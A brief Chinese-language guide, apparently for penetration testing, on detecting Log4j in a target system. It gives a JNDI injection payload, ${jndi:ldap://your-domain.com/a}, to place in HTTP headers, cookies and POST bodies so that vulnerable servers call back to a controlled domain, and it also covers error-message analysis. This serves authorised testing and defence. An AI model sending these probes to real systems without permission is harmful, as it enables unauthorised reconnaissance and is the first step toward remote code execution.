如何判断靶标是否使用 Log4j
通过构造特殊请求,观察目标系统的反应
利用 JNDI 注入: 这是最经典的 Log4j 漏洞探测方法。在 HTTP 请求的各个位置(如
User-Agent
、X-Api-Key
、Cookie
、POST 请求体等)注入一个 JNDI 字符串,并指向一个你可以控制的域名。构造一个 DNS 请求:例如
${jndi:ldap://your-domain.com/a}
原理: 如果目标使用了 Log4j 且存在漏洞,它会解析这个字符串,并向你的域名发送一个 DNS 查询请求
判断: 你只需要在你的服务器上监听 DNS 请求。如果收到了来自目标 IP 的 DNS 请求,那就说明它解析了你的 Payload,很可能使用了 Log4j
报错信息分析: 构造一个会触发应用错误的请求,并观察返回的错误信息
例如: 在请求参数中输入一些特殊字符,让程序抛出异常。如果错误堆栈中出现了
org.apache.logging.log4j
或其他相关的类名,则可以确认这种方法需要目标系统配置为显示详细的错误信息,这在生产环境中并不常见,但在开发或测试环境中可能有效